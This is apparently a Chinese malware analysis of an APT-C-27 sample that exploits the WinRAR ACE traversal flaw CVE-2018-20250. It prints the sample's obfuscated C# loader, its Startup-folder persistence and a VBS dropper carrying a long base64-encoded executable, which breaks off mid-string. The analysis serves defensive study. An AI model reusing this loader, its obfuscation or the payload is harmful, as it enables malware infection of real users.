CVE-2018-20250 APT-C-27(黄金鼠)

基本信息

MD5: 314E8105F28530EB0BF54891B9B3FF69

SHA1: 8C9B88EE829B880E4AF8B7CD7DCCCC16FAA2E413

样本行为

设置开机启动

18:27:56:596,   Ace32Loader.exe,    5840:5140,  5340,   FILE_touch, C:\Users\Adif\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Telegram Desktop.exe,   access:0x0012019F alloc_size:0 attrib:0x00000080 share_access:0x00000003 disposition:0x00000005 options:0x00000060 ,    0x00000000 [操作成功完成。  ], 

漏洞简述

ACE文件验证逻辑绕过漏洞（CVE-2018-20250），该漏洞是由 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的，该动态链接库在 2006 年被编译，没有任何的基础保护机制(ASLR, DEP 等)。凡是使用了UNACE2.dll动态链接库的解压软件就会受影响。

当使用WinRAR对恶意构造的ACE文件进行解压操作时，由于没有对文件名进行充分过滤，产生了“目录穿越”现象，其中隐藏的恶意文件可以实现被写入计算机的任意目录下，甚至可以写入开机启动项中，导致恶意文件的执行。

触发条件：攻击不能跨盘符，即受害者进行解压文件触发漏洞时，必须在系统盘，只能在主浏览器的默认下载路径下（C:\Users\Administrator\Downloads）或者桌面进行解压。

产生漏洞的DLL文件：UNACEV2.DLL，不能识别相对路径，文件名部分必须为绝对路径。

利用路径：恶意ACE文件—>用户利用winrar解压或打开—>恶意木马—>受害者重启电脑—>恶意木马执行

样本分析

Telegram Desktop.exe

母体释放文件
File: Telegram Desktop.exe
SHA1: 3eef93859ba60d0cd6a86ec114b5539521fe03e9
MD5: 36027a4abfb702107a103478f6af49be

Form1() 启动器

public class Form1 : Form
{
    public Form1()
    {
        base.Load += this.Form1_Load;
        Form1.__ENCAddToList(this);
        this.tmp = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\1717.txt";
        this.dx1 = "4321".Replace("4", "L").Replace("3", "o").Replace("2", "a").Replace("1", "d");//dx1=Load 
        this.dx2 = "98765438".Replace("9", "E").Replace("8", "nt").Replace("7", "r").Replace("6", "y").Replace("5", "P").Replace("4", "o").Replace("3", "i");//dx2=EntryPoint 
        this.dx3 = "123456".Replace("1", "I").Replace("2", "n").Replace("3", "v").Replace("4", "o").Replace("5", "k").Replace("6", "e");//dx3=Invoke
        this.ex1 = "[%79]".Replace("7", "0").Replace("9", "1").Replace("%", "^");//ex1=[^01]
        this.ex2 = "";
        this.zd1 = Thread.GetDomain();
        this.zd2 = CallType.Method;
        this.zd3 = CallType.Get;
        this.zd4 = null;
        this.InitializeComponent();
    }

Form1_Load() 释放”\Telegram Desktop.vbs”；解密资源文件

private void Form1_Load(object sender, EventArgs e)
{
    this.Hide();
    this.ShowInTaskbar = false;
    this.ShowIcon = false;
    this.Opacity = 0.0;
    string text = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\Telegram Desktop.vbs";
    File.WriteAllText(text, Resources._17);//获取资源文件
    Process.Start(text);
    Thread.Sleep(17000);
    string x = File.ReadAllText(this.tmp);
    string y = this.RepBase64(x);//字符串解密
    string text2 = "!#%^ase*|St#ing";  //FromBase64String
    text2 = text2.Replace("!", "F");
    text2 = text2.Replace("#", "r");
    text2 = text2.Replace("", "o");
    text2 = text2.Replace("%", "m");
    text2 = text2.Replace("^", "B");
    text2 = text2.Replace("*", "6");
    text2 = text2.Replace("|", "4");
    object typeFromHandle = typeof(Convert);
    object objectValue = RuntimeHelpers.GetObjectValue(this.aaa(RuntimeHelpers.GetObjectValue(typeFromHandle), text2));//aaa=GetMethod
    object objectValue2 = RuntimeHelpers.GetObjectValue(this.bbb(RuntimeHelpers.GetObjectValue(objectValue), y));//bbb=Invoke
    byte[] v = this.ccc(RuntimeHelpers.GetObjectValue(objectValue2));
    object objectValue3 = RuntimeHelpers.GetObjectValue(this.ddd(RuntimeHelpers.GetObjectValue(this.zd1), this.dx1, RuntimeHelpers.GetObjectValue(this.zd2), v));//ToInteger进制转换
    object objectValue4 = RuntimeHelpers.GetObjectValue(this.vvv(RuntimeHelpers.GetObjectValue(objectValue3), this.dx2, RuntimeHelpers.GetObjectValue(this.zd3)));//ToInteger进制转换
    object objectValue5 = RuntimeHelpers.GetObjectValue(this.ttt(RuntimeHelpers.GetObjectValue(objectValue4), this.dx3, RuntimeHelpers.GetObjectValue(this.zd2), RuntimeHelpers.GetObjectValue(this.zd4)));//ToInteger进制转换
}

Resources._17 资源文件 解密后释放”Process.exe”

New_March.Resources.resources(138806 字节, Embedded, Public)
_17= 
dim tx1 , tx2 , tx3 , tx4 , tx5 , tx6 , tx7 , tx8 , tx9
    tx1 = "wscript.shell\"
    tx2 = "C:\\Windows\\debug\\WIA\"
    tx3 = "Msxml2.DOMDocument.3.0\"
    tx4 = "base64\"
    tx5 = "ADODB.Stream\"
    tx6 = "bin.base64\"
    tx7 = "\\Process.exe\"
    tx8 = "\\Process.exe\"
    tx9 = \"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NzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNzE3MTcxNwG4BTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOTE5MTkxOXMWAQDOyu++AQAAAJEAAABsU3lzdGVtLlJlc291cmNlcy5SZXNvdXJjZVJlYWRlciwgbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5I1N5c3RlbS5SZXNvdXJjZXMuUnVudGltZVJlc291cmNlU2V0AgAAAAkAAAAAAAAAUEFEUEFEUAJ1WQADdVkACHVZAAl1WQALdVkADHVZAA11WQAOdVkAD3VZAD8AAABIAAAACQAAABIAAAAAAAAALQAAADYAAAAbAAAAJAAAAE0BAAAEXwAxAAAAAAAEXwAyABcjAAAEXwAzAPtGAAAEXwA0ABFqAAAEXwA1AJ+OAAAEXwA2ABG1AAAEXwA3AHrdAAAEXwA4AMcBAQAEXwA5ACQVAQABlEblhaflrpjkurrslZlBQeGEiOWNh+yVnuWNhy8vOEFB5LiJ5bey5Y2H5Y2HQeyVmeWNh+WNh+WNh+WNh+WNh+WNh+WNh+WNh+WNh+WNh+WNh0FBQeW3suWNh0E07J6O54i25beyNEHsmLRB7JuF5rC04YSN7J2E5bey5LiB5YWn4YSIMOycqOWumOyWmOycqOyauN6Q5LmZ5LiB5LqG3pDkuIM57JuF3pDkuIPlt6jsmLThhI3slpjmsLTsnKjsnYTkuIM17JmV7J6E7J2N5LiB5bC65Yqb7J2M5LiB5LmZ7J6E7JWFNOW3suaciOyVhTTlt7LlhorslZ455YWn4YSN7JaYMeyZleWKm+yWmNeT54i27JWM7JWZMOGEiuW3peWNh+WNh0HkuIHslZnlhorslZlBQeWFp0HslZ7slYxB4YSN15PsmLTsnKjlrpjkuobljYfljYdBQeydkUFBQeW3suyVnuS4iUHslZnlt7JBQeW3qOyViOWNh+yWmOWNh+WNh+ydhOybheyVmeWNh+W3suWNh+W3suWNh0HkuIHljYflt7LljYdB5beyQUHkuIHljYfljYdBQeyVnuWNh+WNh0FB7JWM5Y2HQUHlt7LljYfljYfhhI1B7JWZ4YSN15NBQeS4gUFBQeS4geWNh0FB7JWeQUFB7JWe5Y2H5Y2H5LiB5Y2H5Y2H5Y2HQUFB5LiB7JmcMEFB5LiB5b+D5Y2HQeGEjUFBQeyVnkHsnY3ljYfljYfljYfljYfljYfljYdB4YSK5Y2H5LqG5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2H5Y2HQeGEjUFBQeydjeWNh+WNh+WNh0FBQeydjeydjUFBQeyVnuW3suWNh+WNh+WNh0FB7J2NNTDlipvljLnsnKgw5Y2H7J6E5beo7JWZ5Y2H5bey5Y2H5a6Y5bey5Y2H4YSN5Y2H5Y2H5Y2H5Y2HQUHsnY1BQUHslphB54i23pDsm4XmsLTkuZnslYjkuoZBQUHslZ5B7J2N5Y2H5bey5Y2HQeyVmUFBQeS4geyViOWNh+WNh+WNh+WNh0FB5LiBQUFB5LiBQeS4ieybheW3peybkOydhOyWmDnsm5RBQUHhhIjljYdB4YSK5Y2HQeydjeWNh+WMueWNh+WNh+WNh+WNh0FBQeyVmUFBQeyVmeW3suWNh+WNh+WNh+WNh+WNh+S4geyVmeyehOWNh+WNh+yVnuW3suWNh+ydjUFB15NB5LiJ7JWe5bGxQUHlv4NB6Ie8QUFB7JWM5Y2H5LiJ5LqGQUHkuIHlt7LljYfljYfljYfljYfljYfljYfljYfljYfljYfljYfljYfljYfljYfljYfljYfljYfhhIjkuoZB7JWZ7JWMMuWNh+WNh0HkuIvhhI3kuIFBQeS4geS6huW3skHslZ5BQUHlhorkuZnslpjkuoZBQd6Q4YSNQeydjUFBQeyVnuW3qOGEjUHslYxBQUHslZ7ekOWwuuGEiEFB5LiL7J2NQeS4gUFBQeS4geS4i+GEjTVBQeS4geS6huW3skHXk0FBQeWGiuS5meyVmeS6hkFB3pDhhI1B7JaYQUFB7JWe3pDoh7zXk0FB5LiL7J2NQeS4geS6hkFB5LiB5LiL4YSK7JyoQUHkuIHkuoblt7JB5beyQUFB5YaK5LmZ5Lq65LqGQUHekOGEjUHlt6VBQUHslZ7ekOyatDBBQeS4i0Hoh7zkuIFBQUHsnY3oh7xB4YSKQUFB7JWe3pDsmrQwQUHkuItB6Ie85LiBQUFB7J2N6Ie8QeS4iUFBQeyVnt6Q7Jq0MEFB5LiLQeiHvOS4gUFBQeydjeiHvEHhhIhBQUHslZ7ekOyatDBBQeS4i0Hoh7zkuIFBQUHsnY3oh7xB5rC0QUFB7JWe4YSKQdeTQUFB7Jq47JmV5LiB5beyQUHsnY3sm4XhhIjkuItBQUHhhIrlt7JBNEFBQeWGiuyXkOydjUFBQeydjeiHvEHslZlBQUHslZ7lt6jhhI1B5YaKQUFB7JWe5beo6Ie8QeydjEFBQeyVnt6Q5bGx5byTQUHkuIvsnY1B7JWe5LqGQUHkuIHkuIHsnYxB5beoQUFB5LiB5LiL4YSI5belQUFB4YSK5bey5LiB15NBQUHslZnlt7JB5YaK7JWZQUHhhI0w4YSIQUFB5LiB5bey5LiB7JWIQUFB5YaK5LmZQeyVmeyVnkHekOGEjUHljLlBQUHslZ7lt6jhhI1B7JWIQUFB7JWe4YSK5beyQUHslpjsl5BB7JWMQeyVjOWxseWNh+S4gUFBQeWGiuyejuycqOWNh+WGiuyZleydjeW3skFB7J2N5LiDOOS4iUFBQeGEit6Q5bey4YSI5LiBQeS4i+S4gSvkuIHlt7JBQeS4geydjeW3suGEiEFBQeGEiuW3qDI45rC0QUFB4YSKQeS4gzjsnZFBQUHhhIoz5beyNOybkOGEikE4QUFB6Ie84YSK4YSK5LiB5Y2H7Jq05oi2QeydjeiHvEFB5YaK5Y2H5Y2HQeWxseS4iUFB7J2R7JWM7JWZQUFB5YaK5bGx5LqGQeS6huS4geyVnuWNh0Hlt7JBQeyVnuWMuTTslZlBQUHslZ7snYTkuoboh7xBQUHsmrjsmZXsnY3kuoZBQeydjeybheGEjeyVjEHslZnkuIHkuobsno7lt7LslYhBQUHslZnoh7zslYxBQUHsnY3kuIM45YaKQUFB4YSKQeW3suGEiOiHvOyVnuW3skFB7J2N5LiDOOWFp0FBQeGEiuydjeyYtDTslZnlt6XsnYzlt7Llv4NBQUHhhIrsnY3kuobhhIjhhIrhhIrkuIHljYfsmrTmiLZBQeyViOS6ukHlhorljYfljYdB5LmZ4YSI5beyQeyVmeyVjOyVmUFBQeWGiuWxseS6huS4gUHkuIHslpjljYdB5LqGQUHslZ7ljLk07JWZQUFB7JWe7J2E5LqG6Ie8QUFB7Jq47JmV7J2N5LqGQUHsnY3sm4XhhI3slYxB7JWZ5LiB5LqG7J6O5bey7JWIQUFB7JWZ6Ie87JWMQUFB7J2N5LiDONeTQUFB4YSKQeW3suGEiOiHvOyVnuW3skFB7J2N5bey5YaK7JmV5beo7JWZQUHsnY3snKjekOGEijPsnKhB7JuQ4YSKQThBQUHoh7zkuInlt6jlt7Loh7zoh7zslZ5BQUHsnY3smLQ0QeS4geWwuuiHvEFBQeyVnuyVmeWNh+WNh+awtOyVjOyVmUHslZ5BMEFBQeyVnuydhOGEiEHslZlB7Jq07JWZ4YSIQUFB7JWZQUHkuIHlt6jkuZnlt6jkuobslZ5B3pDkuIs05belQUFB7JWe4YSKQeS6hkFBQeiHvOS4id6Q7JyoMOS4gUHkuIvkuIHkuZlB7JWZ7JWeQd6Q7J2N5bey5belQUFB7JaY3pDlt7LslZ7kuIFB5LiLQeyVheGEiuS4geyViEFBQeiHvOWxseGEiEHsnoQvQeyVmUFB5LiB7J2N5bey5rC0QUFB7JaY3pDlsLrhhIjkuIFB5LiLQeiHvOyVnuS6hkFB5LiB5bC65bey5Yy5QUFB4YSK7JWe5LqGMOydjOyVjOydjOW3suGEiEFBQeyWmOyejuW3suW8k0FBQeyVmeiHvOW3qOS6hkFB7J2N5bey7JmV5oi25pyI5LqG7J6E5LmZ5LiL7JWZ7JWeQd6Q5LiL4YSN5LiBQeyVmeS4geS6huGEikHlvJNBQUHslYjoh7zslphBQUHsnY3snKjhhIjmsLTslZ7lt7Iw6Ie87JWM7JWZQUHkuIHsm4XhhI3sm5RB7JWZ5LiB5LqG4YSK5LiB4YSIQUFB7JWI6Ie85beo5LqGQUHsnY3snKjhhIjsnZHslZ7lt7I06Ie87JWMQUFB5LiB7JuFNOW3pUFBQeyVnuGEiuS4gd6QQUFB6Ie85LiJM+WwuuW3suybkOGEikE4QUFB6Ie85rC05LiB5LmZ5bey5YWnQUFB7JaY7JWe5LqGNOydjOyVjOWwuuW3suGEiEFBQeyWmOyejuW3suW8k0FBQeyVmeiHvOW3qOS6hkFB7J2N5bey5bGx6Ie87JWeQUFB7J2N7Ji0NEHkuIHkuZnlt7LliptBQUHhhIrsno7lt7LlvJNBQUHslZnoh7zlt6jkuoZBQeydjeW3suyZleaItuGEjeydjdeT6Ie87JWM5LqGQUHsnY3snKjhhIjslZ7kuIEz4YSN7JuFQeyVmeS4geS6huyejuW3suW8k0FBQeyVmeiHvOW3qOS6hkFB7J2N5bey5bGx6Ie87JWeQUFB7J2N7Ji0NEHkuIHkuZnlt7LmnIhBQUHhhIrsno7lt7LlvJNBQUHslZnoh7zlt6jkuoZBQeydjeW3suyZleaItuGEjeydjdeT6Ie87JWM5LqGQUHsnY3snKjhhIjlt6jkuIEz4YSN7JuFQeyVmeS4geS6huyejuW3suW8k0FBQeyVmeiHvOW3qOS6hkFB7J2N5bey5bGx6Ie87JWeQUFB7J2N7Ji0NEHkuIEzNOydkUFBQeyVnuydhOyZnOWxsUFBQeiHvOWFp+yVjOyZnOGEjeW/g+GEiuS4geS6hkFBQeiHvOWFp+yVnuS4geGEjeyVmd6Q5bC6MOS4gUHkuItB6Ie85LiL7JWZQUHsnY3sm4U05belQUFB7JWe4YSK5LiB3pBBQUHoh7zkuIkz5bC6QeybkOGEikE4QUFB6Ie85YWn5LiB5bey7J6E5LmZ5b+D5LqG7JWeQd6Q5LiLNOW3pUFBQeyVnuGEiuS4gd6QQUFB6Ie85LiJ4YSK5LiB5Y2H7Jq05oi2QUHsnoTkuZlB7JWZ7JWeQd6Q5LiLNOW3pUFBQeyVnuGEiuS4gd6QQUFB6Ie85LiJ5LiBMzTslZlBQUHslZ7snYTsmZw0QUFB7Jq47JmV5LiL5LqGQUHsnY3sm4Xlt6XlhopB7JWZ5LiB5LqG3pDlt7LslZ7kuIFB5LiL5LiB7JmV4YSNQUFB7J2N7JuF5bel7JuQQeyVmeS4geS6ht6Q7JuF15PkuIFB5LiL5LiB7JmV4YSNQUFB7J2N7JuF5belOUHslZnkuIHkuobekOW3suyVnuS4gUHkuIvkuIHsmZXhhI1BQUHsnY3sm4XhhIrkuIFB7JWZ5LiB5LqG3pDlt7LslZ7kuIFB5LiL5LiB7JmV4YSNQUFB7J2N7JuF4YSK5beoQeyVmeS4geS6ht6Q6Ie85bGx5LiBQeS4i+S4geyZleGEjUFBQeydjeybheGEiuW/g0HslZnkuIHkuobekOybhdeT5LiBQeS4i+S4geyZleGEjUFBQeydjeWwuuW3suGEiEFBQeGEiuydjTk07J2E5bel7J2M5bey5b+DQUFB4YSK7JWe5LqG3pDkuIvekOWwut6Q5LiBQeS4i0Hoh7zslYxBQUHsnY3lt7LlsbHoh7zslZ5BQUHsnY3smLQ0QeS4gTPhhIrliptB7JWZ5LiB5LqG4YSKQeS6hkFBQeiHvOS4ieGEiuydjeyVnkFBQeyauOyZleGEjeW3skFB7J2N7JuF4YSK5LiJQeyVmeS4geS6huW3qOWGiuyViOiHvOGEjeS6hkFB7J2N7Jyo4YSI4YSN7JWe7JWZ5bC67J2R7Ji07Jmc3pDsl5DslYxB7J6E5LmZ7JuF5LqG7JWeQd6Q7J2N5bey4YSIQUFB4YSK7J2N5LqG3pDlhorsnY3kuIHslZ7hhI3sm5TsmrTekOWMuTLsmrjoh7zoh7zslYxBQUHsnY3lt7LsmZXmiLbslpjkuZnXk+iHvOyVjOS6hkFB7J2N7Jyo4YSI5bel5LiBM+GEiuyejkHslZnkuIHkuobhhIpB5LqGQUFB6Ie85LiJ4YSK5LiB5Y2H7Jq05oi2QeS4gTjkuIPhhIrsnY3slZlBQUHsmrjkuZnoh7zkuobslZ5B3pDslpg47JuQQUFB4YSK5LiJ5LiB4YSI5LiL3pDkurrlsbHkuIFB5LiL5LiBK+ydjeyVmUFB5LiB7J2N5bey5Yy5QUFB4YSK7J2NOTTniLbkuIEz4YSKMUHslZnkuIHkuobsno7lt7LlvJNBQUHslZnoh7zlt6jkuoZBQeydjeW3suyZleaItuyWmOS5mdeT6Ie87JWM5LqGQUHsnY3snKjhhIjhhIrkuIEzNOW3pUFBQeyVnuGEikHkuoZBQUHoh7zkuInhhIrkuIHljYfsmrTmiLZB7J2N5bey5YaKQUFB7JaY5LiJ5LiB4YSI5LiL3pDsmrQ45LiBQeS4i+S4gSvsnY3slZlBQeS4geydjeW3suWMuUFBQeGEiuydjeS5meWxseWGiuS4gTPkuInkuItB7JWZ5LiB5LqG7J6O5bey5byTQUFB7JWZ6Ie85beo5LqGQUHsnY3lt7LlsbHkuIvsno7lt7LhhI1BQUHlhoor7J2N7JWZQUHkuIHsnY3lt7LljLlBQUHhhIrsnY3kuobsnoTkuZnsl5DslZnslZ5B3pDkuIs05belQUFB7JWe4YSK5LiB3pBBQUHoh7zkuInkuIHkuZnlt7LsnYxBQUHslpjsno7lt7LlvJNBQUHslZnoh7zlt6jkuoZBQeydjeW3suyYtOS5mUHslZnslZ5B3pBB7JmcK+yVnkFBQeS4geyWmDjhhIpBQUHhhIrsnYTkuoblsbFBQUHsmrjkuZlB5LqG7JWeQd6Q5LiLNOyWmEFBQeyVnuGEikHkuoZBQUHoh7zslYXsnYTkuZnslYhBQUHsmrjsmZXlt6XkuoZBQeydjeycqOGEiOydjOW3qOycqOGEiOWGiuGEiuS5meyViOWGiuyVnuycqOyVnuWGiuS4g+ycqOGEiOS4ieyVnuyVmeyYtOyZleGEikFBQeydjeycqDjlt7LhhIjkuoY04YSN7JWe7JWZ7Ji05LmZMOS6huyVnkHekOydjeW3suWMuUFBQeGEiuyVjOS4geyVnuWGiuW3qDnslYjlhafslZ7lhorslZ7lhorslZ7lhorhhIrsnZHsmLTsl5DkuInsnYwz5beyOOybkOGEikE4QUFB6Ie85YWn7JWM7J2N5bey7JWZQUFB4YSKM+W3skHkuIvsnY3snY3lt7LhhIhBQUHhhIrhhIrlt7LljYflt6jlvJPljYdB5LiBQUHsm5Q1OEHhhIpBMEFBQeyVnkFB4YSI3pBB7JWeOeiHvEHhhI1BMEFBQeyVnkFB5b+D6Ie8QeyVnuS6hjDkuIHhhI1BMEFBQeyVnkFB7J2NMOS4geS4iTHkuobkuIHhhI1BMEFBQeyVnkFB4YSNMOS4gd6Q7JmVOOS4geyWmOS6hjBBQUHslZ5BQeydjeyViOydjeW/g+yVheGEiOydjeyWmOS6hjBBQUHslZ5BQeS4izTsnY3snZHsnYTekOydjeyWmOS6hjBBQUHslZ5BQeyVjOyViOyVjOyViOW3peyViOyVjOyVjOS6hjBBQUHslZ7lhafhhIhB7JWeQeyVjOWNh0HXk0FB5LiB7JWe7J2N4YSKQTRBQUHslYjoh7zhhIrslZlBQeydjeWwuuiHvOWFp+GEiEHslZ5B7JWe5Y2HQeyViEFB5LiB7JWe7J2N15PsnY3lt7LkurpBQUHhhIrsnY3smZzhhI3kuIHhhIpBOEFBQeyViOS6uuyVnuyXkEHsnY1BQTDljYfkuItBQUHlhorhhIrsnY3lsbFBQUHoh7zsnY3Xk+yWmDjlsbFBQUHhhIrhhIrlt7JBQUHkuIHhhIjkuoZB5beyQeawtOWNh+S4geyVmUFB7JWe7J2M5bey7Jq0QUFB4YSKQeybkOS4geyZleS4ieyVmUFB7J2N5bC66Ie85Y2H5YWn4YSIQeyVmUHlipvslZnljYflt7JBQeS4geyVnuydjd6Q5LmZNEFBQeiHvOawtOydjeWGiuWKm+yXkOS4ieS6hkFB7J2N5bey5LqG5pyI7JuU7JWZ5LqGQUFB7JWe5LiJ7J2N7JWZ7JuQ7JmV4YSIQUFB7J2N7Jyo7Ji05Lq6MuS4gzjsmZxBQUHhhIrsnY3slZnekOyVheyWmOS4gzjkuZlBQUHhhIrlt6Xlt7LekOyVheGEiuyVjOGEiEFBQeiHvOWFp+S4gUHlvJPslYXmnIjkuIM47JmcQUFB4YSK7JWe7JWZ7JWZ5Yy5MuycqOyejuyVheyblOyVmeS6hkFBQeyVnuGEiuydjUHslYjslYXslZ7slZnlhorsmZXmsLRBQUHsnY3lsLrslYjhhI3snYTsl5DXk0FBQeiHvOW3peydhOyXkNeTQUFB6Ie87JaY4YSK5beyQUFB5LiB5bGx5LqG5LiB7JWZQSvljYfsnY3slZlBQeyVnuWGiuyViOS4ieS4gTfXk+yejuWKm+ydjeW3sjJBQUHhhIrslYzlhorhhI3slYzkuIsy7JWZ15PslZ7kuobslZnsnYzkuIHkuIE55byT4YSKQeGEiEFBQeyViOWxseS4geS4gd6Q4YSKM+ycqOiHvOS4i+W3qDnslYjkuInkuIHsmZzoh7zsmZwy5rC0NOydkeW3peydjOW3suW/g0FBQeGEiuyVjOydjeW3suyVmUFBQeGEijPlt7JB7JWF4YSK5bey7JWI5Lq6QUFB5LiB7JWe5Y2H5Y2H7J2N5LqG5bGxQUE05rC0QUFB5LiB7JaY7JeQQeyVjEHl